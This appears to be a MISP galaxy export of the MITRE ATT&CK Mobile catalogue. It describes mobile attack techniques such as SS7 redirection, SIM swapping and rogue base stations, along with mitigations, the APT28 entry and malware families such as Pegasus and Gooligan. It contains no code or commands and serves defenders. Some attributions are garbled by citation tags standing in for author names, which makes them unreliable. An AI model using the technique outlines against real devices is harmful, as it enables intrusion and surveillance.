On Android, details of onboard network interfaces are accessible to apps through the java.net. (Citation: NetworkInterface) class (Citation: NetworkInterface). The Android (Citation: TelephonyManager) class can be used to gather related information such as the IMSI, IMEI, and phone number (Citation: TelephonyManager).
Platforms: Android
Alternate Network Mediums - MOB-T1041
Adversaries can communicate using cellular networks rather than enterprise Wi-Fi in order to bypass enterprise network monitoring systems. Adversaries may also communicate using other non-Internet Protocol mediums such as SMS, NFC, or Bluetooth to bypass network monitoring systems.
Platforms: Android, iOS
Links |
https://attack.mitre.org/mobile/index.php/Technique/MOB-T1041 |
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-30.html |
Local Network Connections Discovery - MOB-T1024
On Android, applications can use standard APIs to gather a list of network connections to and from the device. For example, the Network Connections app available in the Google Play Store (Citation: ConnMonitor) advertises this functionality.
Platforms: Android
Links |
https://attack.mitre.org/mobile/index.php/Technique/MOB-T1024 |
https://play.google.com/store/apps/details?id=com.antispycell.connmonitor&hl=en |
Device Unlock Code Guessing or Brute Force - MOB-T1062
An adversary could make educated guesses of the device lock screen’s PIN/password (e.g., commonly used values, birthdays, anniversaries) or attempt a dictionary or brute force attack against it. Brute force attacks could potentially be automated (Citation: PopSci-IPBox).
Platforms: Android, iOS
Links |
https://attack.mitre.org/mobile/index.php/Technique/MOB-T1062 |
http://www.popsci.com/box-can-figure-out-your-4-digit-iphone-passcode |
Exploit TEE Vulnerability - MOB-T1008
A malicious app or other attack vector could be used to exploit vulnerabilities in code running within the Trusted Execution Environment (TEE) (Citation: Thomas-TrustZone). The adversary could then obtain privileges held by the TEE potentially including the ability to access cryptographic keys or other sensitive data (Citation: QualcommKeyMaster). Escalated operating system privileges may be first required in order to have the ability to attack the TEE (Citation: EkbergTEE). If not, privileges within the TEE can potentially be used to exploit the operating system (Citation: laginimaineb-TEE).
Platforms: Android
Rogue Wi-Fi Access Points - MOB-T1068
An adversary could set up unauthorized Wi-Fi access points or compromise existing access points and, if the device connects to them, carry out network-based attacks such as eavesdropping on or modifying network communication as described in NIST SP 800-153 (Citation: NIST-SP800153).
For example, Kaspersky describes a threat actor they call DarkHotel that targeted hotel Wi-Fi networks, using them to compromise computers belonging to business executives (Citation: Kaspersky-DarkHotel).
Platforms: Android, iOS
Remotely Track Device Without Authorization - MOB-T1071
An adversary who is able to obtain unauthorized access to or misuse authorized access to cloud services (e.g. Google’s Android Device Manager or Apple iCloud’s Find my iPhone) or to an enterprise mobility management (EMM) / mobile device management (MDM) server console could use that access to track mobile devices.
Detection: Google sends a notification to the device when Android Device Manager is used to locate it. Additionally, Google provides the ability for users to view their general account activity. Apple iCloud also provides notifications to users of account activity.
Platforms: Android, iOS
Biometric Spoofing - MOB-T1063
An adversary could attempt to spoof a mobile device’s biometric authentication mechanism, for example by providing a fake fingerprint as described by SRLabs in (Citation: SRLabs-Fingerprint).
iOS partly mitigates this attack by requiring the device passcode rather than a fingerprint to unlock the device after every device restart and after 48 hours since the device was last unlocked (Citation: Apple-TouchID).
Platforms: Android, iOS
Links |
https://attack.mitre.org/mobile/index.php/Technique/MOB-T1063 |
Jamming or Denial of Service - MOB-T1067
An attacker could jam radio signals (e.g. Wi-Fi, cellular, GPS) to prevent the mobile device from communicating as described in draft NIST SP 800-187 (Citation: NIST-SP800187).
Platforms: Android, iOS
Capture Clipboard Data - MOB-T1017
A malicious app or other attack vector could capture sensitive data stored in the device clipboard, for example passwords being copy-and-pasted from a password manager app.
Platforms: Android, iOS
Links |
https://attack.mitre.org/mobile/index.php/Technique/MOB-T1017 |
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-35.html |
Access Contact List - MOB-T1035
An adversary could call standard operating system APIs from a malicious application to gather contact list (i.e., address book) data, or with escalated privileges could directly access files containing contact list data.
Detection: On both Android (6.0 and up) and iOS, the user can view which applications have permission to access contact list information through the device settings screen, and the user can choose to revoke the permissions.
Platforms: Android, iOS
Links |
https://attack.mitre.org/mobile/index.php/Technique/MOB-T1035 |
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-13.html |
Stolen Developer Credentials or Signing Keys - MOB-T1044
An adversary could steal developer account credentials on an app store and/or signing keys to publish malicious updates to existing Android or iOS apps, or to abuse the developer’s identity and reputation to publish new malicious applications. For example, Infoworld describes this technique and suggests mitigations in (Citation: Infoworld-Appstore).
Detection: Developers can regularly scan (or have a third party scan on their behalf) the app stores for presence of unauthorized apps that were submitted using the developer’s identity.
Platforms: Android, iOS
Network Traffic Capture or Redirection - MOB-T1013
An adversary may capture network traffic to and from the device to obtain credentials or other sensitive data, or redirect network traffic to flow through an adversary-controlled gateway to do the same.
A malicious app could register itself as a VPN client on Android or iOS to gain access to network packets. However, on both platforms, the user must grant consent to the app to act as a VPN client, and on iOS the app requires a special entitlement that must be granted by Apple.
Alternatively, if a malicious app is able to escalate operating system privileges, it may be able to use those privileges to gain access to network traffic.
An adversary could redirect network traffic to an adversary-controlled gateway by establishing a VPN connection or by manipulating the device’s proxy settings. For example, Skycure (Citation: Skycure-Profiles) describes the ability to redirect network traffic by installing a malicious iOS Configuration Profile.
If applications encrypt their network traffic, sensitive data may not be accessible to an adversary, depending on the point of capture.
Detection: On both Android and iOS the user must grant consent to an app to act as a VPN. Both platforms also provide visual context to the user in the top status bar when a VPN connection is in place.
Platforms: Android, iOS
Links |
https://attack.mitre.org/mobile/index.php/Technique/MOB-T1013 |
https://www.skycure.com/blog/malicious-profiles-the-sleeping-giant-of-ios-security/ |
Access Sensitive Data or Credentials in Files - MOB-T1012
An adversary could attempt to read files that contain sensitive data or credentials (e.g., private keys, passwords, access tokens). This technique requires either escalated privileges or for the targeted app to have stored the data in an insecure manner (e.g., with insecure file permissions or in an insecure location such as an external storage directory).
Platforms: Android, iOS
Links |
https://attack.mitre.org/mobile/index.php/Technique/MOB-T1012 |
https://pages.nist.gov/mobile-threat-catalogue/authentication-threats/AUT-0.html |
Modify Trusted Execution Environment - MOB-T1002
If an adversary can escalate privileges, he or she may be able to use those privileges to place malicious code in the device’s Trusted Execution Environment (TEE) or other similar isolated execution environment where the code can evade detection, may persist after device resets, and may not be removable by the device user. Running code within the TEE may provide an adversary with the ability to monitor or tamper with overall device behavior.
Thomas Roth describes the potential for placing a rootkit within the TrustZone secure world (Citation: Roth-Rootkits).
Detection: Devices may perform cryptographic integrity checks of code running within the TEE at boot time.
As described in the iOS Security Guide (Citation: Apple-iOSSecurityGuide), iOS devices will fail to boot if the software running within the Secure Enclave does not pass signature verification.
Platforms: Android
Downgrade to Insecure Protocols - MOB-T1069
An adversary could cause the mobile device to use less secure protocols, for example by jamming frequencies used by newer protocols such as LTE and only allowing older protocols such as GSM to communicate as described in draft NIST SP 800-187 (Citation: NIST-SP800187). Use of less secure protocols may make communication easier to eavesdrop upon or manipulate.
Platforms: Android, iOS
Generate Fraudulent Advertising Revenue - MOB-T1075
An adversary could seek to generate fraudulent advertising revenue from mobile devices, for example by triggering automatic clicks of advertising links without user involvement.
Platforms: Android, iOS
Links |
https://attack.mitre.org/mobile/index.php/Technique/MOB-T1075 |
App Auto-Start at Device Boot - MOB-T1005
An Android application can listen for the BOOT_COMPLETED broadcast, ensuring that the app’s functionality will be activated every time the device starts up without having to wait for the device user to manually start the app.
(Citation: Zhou) and Jiang (Citation: Zhou) analyzed 1260 Android malware samples belonging to 49 families of malware, and determined that 29 malware families and 83.3% of the samples listened for BOOT_COMPLETED.
Platforms: Android
Links |
https://attack.mitre.org/mobile/index.php/Technique/MOB-T1005 |
Commonly Used Port - MOB-T1039
Adversaries may communicate over a commonly used port to bypass firewalls or network detection systems and to blend with normal network activity to avoid more detailed inspection. They may use commonly open ports such as * TCP:80 (HTTP) * TCP:443 (HTTPS) * TCP:25 (SMTP) * TCP/UDP:53 (DNS)
They may use the protocol associated with the port or a completely different protocol.
Platforms: Android, iOS
Links |
https://attack.mitre.org/mobile/index.php/Technique/MOB-T1039 |
Manipulate App Store Rankings or Ratings - MOB-T1055
An adversary could use access to a compromised device’s credentials to attempt to manipulate app store rankings or ratings by triggering application downloads or posting fake reviews of applications. This technique likely requires privileged access (a rooted or jailbroken device).
Platforms: Android, iOS
Links |
https://attack.mitre.org/mobile/index.php/Technique/MOB-T1055 |
Access Calendar Entries - MOB-T1038
An adversary could call standard operating system APIs from a malicious application to gather calendar entry data, or with escalated privileges could directly access files containing calendar data.
Detection: On both Android (6.0 and up) and iOS, the user can view which applications have permission to access calendar information through the device settings screen, and the user can choose to revoke the permissions.
Platforms: Android, iOS
Links |
https://attack.mitre.org/mobile/index.php/Technique/MOB-T1038 |
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-13.html |
Remotely Wipe Data Without Authorization - MOB-T1072
An adversary who is able to obtain unauthorized access to or misuse authorized access to cloud services (e.g. Google’s Android Device Manager or Apple iCloud’s Find my iPhone) or to an EMM console could use that access to wipe enrolled devices (Citation: Honan-Hacking).
Detection: Google provides the ability for users to view their general account activity. Apple iCloud also provides notifications to users of account activity.
Platforms: Android, iOS
Exploit SS7 to Redirect Phone Calls/SMS - MOB-T1052
An adversary could exploit signaling system vulnerabilities to redirect calls or text messages to a phone number under the attacker’s control. The adversary could then act as a man-in-the-middle to intercept or manipulate the communication. These issues are discussed in (Citation: Engel-SS7), (Citation: Engel-SS7)-2008, (Citation: 3GPP-Security), (Citation: Positive-SS7), as well as in a report from the Communications, Security, Reliability, and Interoperability Council (CSRIC) (Citation: CSRIC5-WG10-FinalReport).
Detection: Network carriers may be able to use firewalls, Intrusion Detection Systems (IDS), or Intrusion Prevention Systems (IPS) to detect and/or block SS7 exploitation as described by the CSRIC (Citation: CSRIC5-WG10-FinalReport). The CSRIC also suggests threat information sharing between telecommunications industry members.
Platforms: Android, iOS
Links |
https://attack.mitre.org/mobile/index.php/Technique/MOB-T1052 |
https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-37.html |
https://berlin.ccc.de/tobias/31c3-ss7-locate-track-manipulate.pdf[https://berlin.ccc.de/tobias/31c3-ss7-locate-track-manipulate.pdf] |
http://www.3gpp.org/ftp/tsg%20sa/wg3%20security/%20specs/33900-120.pdf |
https://www.ptsecurity.com/upload/ptcom/PT-SS7-AD-Data-Sheet-eng.pdf |
Modify OS Kernel or Boot Partition - MOB-T1001
If an adversary can escalate privileges, he or she may be able to use those privileges to place malicious code in the device kernel or other boot partition components, where the code may evade detection, may persist after device resets, and may not be removable by the device user. In some cases (e.g., the Samsung Knox warranty bit as described under Detection), the attack may be detected but could result in the device being placed in a state that no longer allows certain functionality.
Many Android devices provide the ability to unlock the bootloader for development purposes, but doing so introduces the potential ability for others to maliciously update the kernel or other boot partition code.
If the bootloader is not unlocked, it may still be possible to exploit device vulnerabilities to update the code.
Detection: The Android SafetyNet API’s remote attestation capability could potentially be used to identify and respond to compromised devices. Samsung KNOX also provides a remote attestation capability on supported Samsung Android devices.
Samsung KNOX devices include a non-reversible Knox warranty bit fuse that is triggered "if a non-Knox kernel has been loaded on the device" (Citation: Samsung-KnoxWarrantyBit). If triggered, enterprise Knox container services will no longer be available on the device.
As described in the iOS Security Guide (Citation: Apple-iOSSecurityGuide), iOS devices will fail to boot or fail to allow device activation if unauthorized modifications are detected.
Many enterprise applications perform their own checks to detect and respond to compromised devices. These checks are not foolproof but can detect common signs of compromise.
Platforms: Android, iOS
Abuse Accessibility Features - MOB-T1056
A malicious app could abuse Android’s accessibility features to capture sensitive data or perform other malicious actions, as demonstrated in a proof of concept created by Skycure (Citation: Skycure-Accessibility).
Platforms: Android
Links |
https://attack.mitre.org/mobile/index.php/Technique/MOB-T1056 |
Insecure Third-Party Libraries - MOB-T1028
Third-party libraries incorporated into mobile apps could contain malicious behavior, privacy-invasive behavior, or exploitable vulnerabilities. An adversary could deliberately insert malicious behavior or could exploit inadvertent vulnerabilities.
For example, Ryan Welton of NowSecure identified exploitable remote code execution vulnerabilities in a third-party advertisement library (Citation: NowSecure-RemoteCode). Grace et al. identified security issues in mobile advertisement libraries (Citation: Grace-Advertisement).
Platforms: Android, iOS
Links |
https://attack.mitre.org/mobile/index.php/Technique/MOB-T1028 |
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-6.html |
Download New Code at Runtime - MOB-T1010
An app could download and execute dynamic code (not included in the original application package) after installation to evade static analysis techniques (and potentially dynamic analysis techniques) used for application vetting or application store review (Citation: Poeplau-ExecuteThis).
On Android, dynamic code could include native code, Dalvik code, or JavaScript code that uses the Android WebView’s JavascriptInterface capability (Citation: Bromium-AndroidRCE).
On iOS, techniques for executing dynamic code downloaded after application installation include JSPatch (Citation: FireEye-JSPatch). (Citation: Wang) et al. describe a related method of constructing malicious logic at app runtime on iOS (Citation: Wang).
Platforms: Android, iOS
Exploit SS7 to Track Device Location - MOB-T1053
An adversary could exploit signaling system vulnerabilities to track the location of mobile devices, for example as described in (Citation: Engel-SS7), (Citation: Engel-SS7)-2008, (Citation: 3GPP-Security) and (Citation: Positive-SS7), as well as in a report from the Communications, Security, Reliability, and Interoperability Council (CSRIC) (Citation: CSRIC5-WG10-FinalReport).
Detection: Network carriers may be able to use firewalls, Intrusion Detection Systems (IDS), or Intrusion Prevention Systems (IPS) to detect and/or block SS7 exploitation as described by the CSRIC (Citation: CSRIC-WG1-FinalReport). The CSRIC also suggests threat information sharing between telecommunications industry members.
Platforms: Android, iOS
Links |
https://attack.mitre.org/mobile/index.php/Technique/MOB-T1053 |
https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-38.html |
https://berlin.ccc.de/tobias/31c3-ss7-locate-track-manipulate.pdf[https://berlin.ccc.de/tobias/31c3-ss7-locate-track-manipulate.pdf] |
http://www.3gpp.org/ftp/tsg%20sa/wg3%20security/%20specs/33900-120.pdf |
https://www.ptsecurity.com/upload/ptcom/PT-SS7-AD-Data-Sheet-eng.pdf |
Malicious Third Party Keyboard App - MOB-T1020
A malicious app can register as a device keyboard and intercept keypresses containing sensitive values such as usernames and passwords. Zeltser (Citation: Zeltser-Keyboard) describes these risks.
Both iOS and Android require the user to explicitly authorize use of third party keyboard apps. Users should be advised to use extreme caution before granting this authorization when it is requested.
Platforms: Android, iOS
Links |
https://attack.mitre.org/mobile/index.php/Technique/MOB-T1020 |
Exploit OS Vulnerability - MOB-T1007
A malicious app can exploit unpatched vulnerabilities in the operating system to obtain escalated privileges.
Platforms: Android, iOS
Links |
https://attack.mitre.org/mobile/index.php/Technique/MOB-T1007 |
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-26.html |
Remotely Install Application - MOB-T1046
An adversary with control of a target’s Google account can use the Google Play Store’s remote installation capability to install apps onto the Android devices associated with the Google account as described in (Citation: Oberheide-RemoteInstall), (Citation: Konoth). However, only applications that are available for download through the Google Play Store can be remotely installed using this technique.
Detection: An EMM/MDM or mobile threat protection solution can identify the presence of unwanted or known insecure or malicious apps on devices.
Platforms: Android
Modify cached executable code - MOB-T1006
ART (the Android Runtime) compiles optimized code on the device itself to improve performance. If an adversary can escalate privileges, he or she may be able to use those privileges to modify the cached code in order to hide malicious behavior. Since the code is compiled on the device, it may not receive the same level of integrity checks that are provided to code running in the system partition.
Sabanal describes the potential use of this technique in (Citation: Sabanal-ART).
Platforms: Android
Links |
https://attack.mitre.org/mobile/index.php/Technique/MOB-T1006 |
https://www.blackhat.com/docs/asia-15/materials/asia-15-Sabanal-Hiding-Behind-ART-wp.pdf |
Application Discovery - MOB-T1021
Adversaries may seek to identify all applications installed on the device. One use case for doing so is to identify the presence of endpoint security applications that may increase the adversary’s risk of detection. Another use case is to identify the presence of applications that the adversary may wish to target.
On Android, applications can use methods in the PackageManager class (Citation: Android-PackageManager) to enumerate other apps installed on device, or an entity with shell access can use the pm command line tool.
On iOS, apps can use private API calls to obtain a list of other apps installed on the device as described by Kurtz (Citation: Kurtz-MaliciousiOSApps), however use of private API calls will likely prevent the application from being distributed through Apple’s App Store.
Platforms: Android, iOS
Links |
https://attack.mitre.org/mobile/index.php/Technique/MOB-T1021 |
https://developer.android.com/reference/android/content/pm/PackageManager.html |
Lockscreen Bypass - MOB-T1064
Techniques have periodically been demonstrated that exploit vulnerabilities on Android (Citation: Wired-AndroidBypass), iOS (Citation: Kaspersky-iOSBypass), or other mobile devices to bypass the device lock screen. The vulnerabilities are generally patched by the device/operating system vendor once they become aware of their existence.
Platforms: Android, iOS
Links |
https://attack.mitre.org/mobile/index.php/Technique/MOB-T1064 |
https://threatpost.com/ios-10-passcode-bypass-can-access-photos-contacts/122033/ |
SIM Card Swap - MOB-T1054
An adversary could convince the mobile network operator (e.g. through social networking or forged identification) to issue a new SIM card and associate it with an existing phone number and account (Citation: NYGov-Simswap). The adversary could then obtain SMS messages or hijack phone calls intended for someone else (Citation: Betanews-Simswap). One use case is intercepting authentication messages or phone calls to obtain illicit access to online banking or other online accounts (Citation: Guardian-Simswap).
Platforms: Android, iOS
Location Tracking - MOB-T1033
An adversary could use a malicious or exploited application to surreptitiously track the device’s physical location through use of standard operating system APIs.
Detection: On both Android (6.0 and up) and iOS, the user can view which applications have permission to access device location through the device settings screen, and the user can choose to revoke the permissions.
Platforms: Android, iOS
Links |
https://attack.mitre.org/mobile/index.php/Technique/MOB-T1033 |
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-24.html |
Exploit via Charging Station or PC - MOB-T1061
If the mobile device is connected (typically via USB) to a charging station or a PC, for example to charge the device’s battery, then a compromised or malicious charging station or PC could attempt to exploit the mobile device via the connection.
Krebs described this technique in (Citation: Krebs-JuiceJacking). Lau et al. (Citation: Lau-Mactans) demonstrated the ability to inject malicious applications into an iOS device via USB. Hay (Citation: IBM-NexusUSB) demonstrated the ability to exploit a Nexus 6 or 6P device over USB and then gain the ability to perform actions including intercepting phone calls, intercepting network traffic, and obtaining the device physical location.
Platforms: Android, iOS
Manipulate Device Communication - MOB-T1066
If network traffic between the mobile device and a remote server is not securely protected, then an attacker positioned on the network may be able to manipulate network communication without being detected. For example, FireEye researchers found in 2014 that 68% of the top 1,000 free applications in the Google Play Store had at least one Transport Layer Security (TLS) implementation vulnerability potentially opening the applications' network traffic to man-in-the-middle attacks (Citation: FireEye-SSL).
Platforms: Android, iOS
Links |
https://attack.mitre.org/mobile/index.php/Technique/MOB-T1066 |
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-1.html |
Rogue Cellular Base Station - MOB-T1070
An adversary could set up a rogue cellular base station and then use it to eavesdrop on or manipulate cellular device communication. For example, Ritter and DePerry of iSEC Partners demonstrated this technique using a compromised cellular femtocell at Black Hat USA 2013 (Citation: Computerworld-Femtocell).
Platforms: Android, iOS
Links |
https://attack.mitre.org/mobile/index.php/Technique/MOB-T1070 |
https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-7.html |
Repackaged Application - MOB-T1047
An adversary could download a legitimate app, disassemble it, add malicious code, and then reassemble the app, for example as described by (Citation: Zhou) and Jiang in (Citation: Zhou). The app would appear to be the original app but contain additional malicious functionality. The adversary could then publish this app to app stores or use another delivery technique.
Detection: An EMM/MDM or mobile threat protection solution can identify the presence of unwanted, known insecure, or malicious apps on devices.
Platforms: Android, iOS
Links |
https://attack.mitre.org/mobile/index.php/Technique/MOB-T1047 |
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-14.html |
Lock User Out of Device - MOB-T1049
An adversary may seek to lock the legitimate user out of the device, for example until a ransom is paid.
On Android versions prior to 7, apps can abuse Device Administrator access to reset the device lock passcode to lock the user out of the device.
On iOS devices, this technique does not work because mobile device management servers can only remove the screen lock passcode, they cannot set a new passcode. However, on jailbroken devices, malware has been demonstrated that can lock the user out of the device (Citation: KeyRaider).
Platforms: Android, iOS
Links |
https://attack.mitre.org/mobile/index.php/Technique/MOB-T1049 |
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-28.html |
Malicious Software Development Tools - MOB-T1065
As demonstrated by the XcodeGhost attack (Citation: PaloAlto-XcodeGhost1), app developers could be provided with modified versions of software development tools (e.g. compilers) that automatically inject malicious or exploitable code into applications.
Detection: Enterprises could deploy integrity checking software to the computers that they use to develop code to detect presence of unauthorized, modified software development tools.
Platforms: Android, iOS
Links |
https://attack.mitre.org/mobile/index.php/Technique/MOB-T1065 |
Mobile Attack - Course of Action
ATT&CK Mitigation.
Mobile Attack - Course of Action is a cluster galaxy available in JSON format at this location The JSON format can be freely reused in your application or automatically enabled in MISP. |
- authors
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MITRE
Deploy Compromised Device Detection Method - MOB-M1010
A variety of methods exist that can be used to enable enterprises to identify compromised (e.g. rooted/jailbroken) devices, whether using security mechanisms built directly into the device, third-party mobile security applications, enterprise mobility management (EMM)/mobile device management (MDM) capabilities, or other methods. Some methods may be trivial to evade while others may be more sophisticated.
Interconnection Filtering - MOB-M1014
In order to mitigate Signaling System 7 (SS7) exploitation, the Communications, Security, Reliability, and Interoperability Council (CSRIC) describes filtering interconnections between network operators to block inappropriate requests (Citation: CSRIC5-WG10-FinalReport).
Use Device-Provided Credential Storage - MOB-M1008
Application developers should use device-provided credential storage mechanisms such as Android’s KeyStore or iOS’s KeyChain. These can prevent credentials from being exposed to an adversary.
Use Recent OS Version - MOB-M1006
New mobile operating system versions bring not only patches against discovered vulnerabilities but also often bring security architecture improvements that provide resilience against potential vulnerabilities or weaknesses that have not yet been discovered. They may also bring improvements that block use of observed adversary techniques.
Security Updates - MOB-M1001
Install security updates in response to discovered vulnerabilities.
Purchase devices with a vendor and/or mobile carrier commitment to provide security updates in a prompt manner for a set period of time.
Decommission devices that will no longer receive security updates.
Limit or block access to enterprise resources from devices that have not installed recent security updates. * On Android devices, access can be controlled based on each device’s security patch level. * On iOS devices, access can be controlled based on the iOS version.
Lock Bootloader - MOB-M1003
On devices that provide the capability to unlock the bootloader (hence allowing any operating system code to be flashed onto the device), perform periodic checks to ensure that the bootloader is locked.
System Partition Integrity - MOB-M1004
Ensure that Android devices being used include and enable the Verified Boot capability, which cryptographically ensures the integrity of the system partition.
Attestation - MOB-M1002
Enable remote attestation capabilities when available (such as Android SafetyNet or Samsung Knox TIMA Attestation) and prohibit devices that fail the attestation from accessing enterprise resources.
Caution with Device Administrator Access - MOB-M1007
Warn device users not to accept requests to grant Device Administrator access to applications without good reason.
Additionally, application vetting should include a check on whether the application requests Device Administrator access. Applications that do request Device Administrator access should be carefully scrutinized and only allowed to be used if a valid reason exists.
Application Developer Guidance - MOB-M1013
This mitigation describes any guidance or training given to developers of applications to avoid introducing security weaknesses that an adversary may be able to take advantage of.
Application Vetting - MOB-M1005
Enterprises can vet applications for exploitable vulnerabilities or unwanted (privacy-invasive or malicious) behaviors. Enterprises can inspect applications themselves or use a third-party service.
Enterprises may impose policies to only allow pre-approved applications to be installed on their devices or may impose policies to block use of specific applications known to have issues. In Bring Your Own Device (BYOD) environments, enterprises may only be able to impose these policies over an enterprise-managed portion of the device.
Application Vetting is not a complete mitigation. Techniques such as Detect App Analysis Environment exist that can enable adversaries to bypass vetting.
User Guidance - MOB-M1011
Describes any guidance or training given to users to set particular configuration settings or avoid specific potentially risky behaviors.
Enterprise Policy - MOB-M1012
An enterprise mobility management (EMM), also known as mobile device management (MDM), system can be used to provision policies to mobile devices to control aspects of their allowed behavior.
Encrypt Network Traffic - MOB-M1009
Application developers should encrypt all of their application network traffic using the Transport Layer Security (TLS) protocol to ensure protection of sensitive data and deter network-based attacks. If desired, application developers could perform message-based encryption of data before passing it for TLS encryption.
iOS’s App Transport Security feature can be used to help ensure that all application network traffic is appropriately protected. Apple intends to mandate use of App Transport Security (Citation: TechCrunch-ATS) for all apps in the Apple App Store unless appropriate justification is given.
Android’s Network Security Configuration feature similarly can be used by app developers to help ensure that all of their application network traffic is appropriately protected (Citation: Android-NetworkSecurityConfig).
Use of Virtual Private Network (VPN) tunnels, e.g. using the IPsec protocol, can help mitigate some types of network attacks as well.
Mobile Attack - intrusion Set
Name of ATT&CK Group.
Mobile Attack - intrusion Set is a cluster galaxy available in JSON format at this location The JSON format can be freely reused in your application or automatically enabled in MISP. |
- authors
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MITRE
APT28 - G0007
APT28 is a threat group that has been attributed to the Russian government. (Citation: FireEye APT28) (Citation: SecureWorks TG-4127) (Citation: FireEye APT28) January 2017 (Citation: GRIZZLY STEPPE JAR) This group reportedly compromised the Democratic National Committee in April 2016. (Citation: Crowdstrike DNC June 2016)
APT28 - G0007 is also known as:
-
APT28
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Sednit
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Sofacy
-
Pawn Storm
-
Fancy Bear
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STRONTIUM
-
Tsar Team
-
Threat Group-4127
-
TG-4127
Mobile Attack - Malware
Name of ATT&CK software.
Mobile Attack - Malware is a cluster galaxy available in JSON format at this location The JSON format can be freely reused in your application or automatically enabled in MISP. |
- authors
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MITRE
AndroRAT - MOB-S0008
AndroRAT "allows a third party to control the device and collect information such as contacts, call logs, text messages, device location, and audio from the microphone. It is now used maliciously by other actors." (Citation: Lookout-EnterpriseApps)
Aliases: AndroRAT
AndroRAT - MOB-S0008 is also known as:
-
AndroRAT
Links |
https://attack.mitre.org/mobile/index.php/Software/MOB-S0008 |
Trojan-SMS.AndroidOS.Agent.ao - MOB-S0023
Android malware described by Kaspersky (Citation: Kaspersky-MobileMalware).
Aliases: Trojan-SMS.AndroidOS.Agent.ao
Trojan-SMS.AndroidOS.Agent.ao - MOB-S0023 is also known as:
-
Trojan-SMS.AndroidOS.Agent.ao
Links |
https://attack.mitre.org/mobile/index.php/Software/MOB-S0023 |
https://securelist.com/analysis/kaspersky-security-bulletin/58335/mobile-malware-evolution-2013/ |
DualToy - MOB-S0031
DualToy is Windows malware that installs malicious applications onto Android and iOS devices connected over USB (Citation: PaloAlto-DualToy).
Aliases: DualToy
DualToy - MOB-S0031 is also known as:
-
DualToy
Links |
https://attack.mitre.org/mobile/index.php/Software/MOB-S0031 |
KeyRaider - MOB-S0004
On jailbroken iOS devices, (Citation: KeyRaider) steals Apple account credentials and other data. It "also has built-in functionality to hold iOS devices for ransom." (Citation: KeyRaider)
Aliases: (Citation: KeyRaider)
KeyRaider - MOB-S0004 is also known as:
-
KeyRaider
Links |
https://attack.mitre.org/mobile/index.php/Software/MOB-S0004 |
BrainTest - MOB-S0009
Brain Test is a family of Android malware described by CheckPoint (Citation: CheckPoint-BrainTest) and Lookout (Citation: Lookout-BrainTest).
Aliases: BrainTest
BrainTest - MOB-S0009 is also known as:
-
BrainTest
Shedun - MOB-S0010
Lookout states that some variants of the Shedun, Shuanet, and ShiftyBug/Kemoge Android malware families "have 71 percent to 82 percent code similarity" (Citation: Lookout-Adware), even though they "don’t believe these apps were all created by the same author or group".
Aliases: Shedun, Shuanet, ShiftyBug, Kemoge
Shedun - MOB-S0010 is also known as:
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Shedun
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Shuanet
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ShiftyBug
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Kemoge
Links |
https://attack.mitre.org/mobile/index.php/Software/MOB-S0010 |
DressCode - MOB-S0016
Android malware family analyzed by Trend Micro (Citation: TrendMicro-DressCode)
Aliases: DressCode
DressCode - MOB-S0016 is also known as:
-
DressCode
Links |
https://attack.mitre.org/mobile/index.php/Software/MOB-S0016 |
http://blog.trendmicro.com/trendlabs-security-intelligence/dresscode-potential-impact-enterprises/ |
Adups - MOB-S0025
Adups, software pre-installed onto Android devices including those made by BLU Products, reportedly transmitted sensitive data to a Chinese server. The capability was reportedly designed "to help a Chinese phone manufacturer monitor user behavior" and "was not intended for American phones". (Citation: NYTimes-BackDoor) (Citation: BankInfoSecurity-BackDoor).
Aliases: Adups
Adups - MOB-S0025 is also known as:
-
Adups
Pegasus - MOB-S0005
Discovered by Lookout (Citation: Lookout-Pegasus) and Citizen Lab (Citation: PegasusCitizenLab), Pegasus escalates privileges on iOS devices and uses its privileged access to collect a variety of sensitive information.
Aliases: Pegasus
Pegasus - MOB-S0005 is also known as:
-
Pegasus
RuMMS - MOB-S0029
RuMMS is a family of Android malware (Citation: FireEye-RuMMS).
Aliases: RuMMS
RuMMS - MOB-S0029 is also known as:
-
RuMMS
Links |
https://attack.mitre.org/mobile/index.php/Software/MOB-S0029 |
https://www.fireeye.com/blog/threat-research/2016/04/rumms-android-malware.html |
HummingBad - MOB-S0038
HummingBad is a family of Android malware that generates fraudulent advertising revenue and has the ability to obtain root access on older, vulnerable versions of Android (Citation: ArsTechnica-HummingBad).
Aliases: HummingBad
HummingBad - MOB-S0038 is also known as:
-
HummingBad
Links |
https://attack.mitre.org/mobile/index.php/Software/MOB-S0038 |
Trojan-SMS.AndroidOS.OpFake.a - MOB-S0024
Android malware described by Kaspersky (Citation: Kaspersky-MobileMalware).
Aliases: Trojan-SMS.AndroidOS.OpFake.a
Trojan-SMS.AndroidOS.OpFake.a - MOB-S0024 is also known as:
-
Trojan-SMS.AndroidOS.OpFake.a
Links |
https://attack.mitre.org/mobile/index.php/Software/MOB-S0024 |
https://securelist.com/analysis/kaspersky-security-bulletin/58335/mobile-malware-evolution-2013/ |
Dendroid - MOB-S0017
Android malware family analyzed by Lookout (Citation: Lookout-Dendroid).
Aliases: Dendroid
Dendroid - MOB-S0017 is also known as:
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Dendroid
Links |
https://attack.mitre.org/mobile/index.php/Software/MOB-S0017 |
MazarBOT - MOB-S0019
Android malware analyzed by Scandinavian security group CSIS as described in a Tripwire post (Citation: Tripwire-MazarBOT).
Aliases: MazarBOT
MazarBOT - MOB-S0019 is also known as:
-
MazarBOT
Links |
https://attack.mitre.org/mobile/index.php/Software/MOB-S0019 |
https://www.tripwire.com/state-of-security/security-data-protection/android-malware-sms/ |
Gooligan - MOB-S0006
The (Citation: Gooligan) malware family, revealed by Check Point, runs privilege escalation exploits on Android devices and then uses its escalated privileges to steal "authentication tokens that can be used to access data from Google Play, Gmail, Google Photos, Google Docs, G Suite, Google Drive, and more." (Citation: Gooligan)
Google (Citation: Ludwig-GhostPush) and LookoutLookout- (Citation: Gooligan) describe (Citation: Gooligan) as part of the Ghost Push Android malware family.
